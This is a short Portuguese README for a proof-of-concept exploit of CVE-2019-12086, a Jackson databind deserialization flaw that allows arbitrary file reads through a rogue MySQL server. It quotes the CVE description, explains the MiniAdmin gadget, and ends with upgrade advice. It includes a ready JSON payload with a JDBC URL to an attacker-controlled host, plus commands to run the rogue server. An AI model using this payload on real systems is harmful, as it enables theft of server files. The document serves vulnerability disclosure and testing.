
Prova de conceito de exploit para CVE-2019-12086: vulnerabilidade de desserialização do Jackson databind que permite leitura arbitrária de arquivos por meio de um servidor MySQL malicioso quando o Default Typing está ativado.
Com o Default Typing habilitado e com a versão mysql-connector-java 8.0.15 ou anterior (lançada em 2019.2.1) no classpath, um atacante pode ler arquivos arbitrários enviando dados JSON maliciosos. A biblioteca mysql-connector-java é o mysql JDBC comumente usado para conectar-se a bancos de dados.
Descrição do CVE:
A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.
com.mysql.cj.jdbc.admin.MiniAdmin aceita um valor do tipo String que representa uma jdbcURL. A classe com.mysql.cj.jdbc.admin.MiniAdmin conecta-se ao banco de dados MySQL especificado por essa jdbcURL durante a inicialização.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Atualize o Jackson para a versão 2.9.9 ou superior.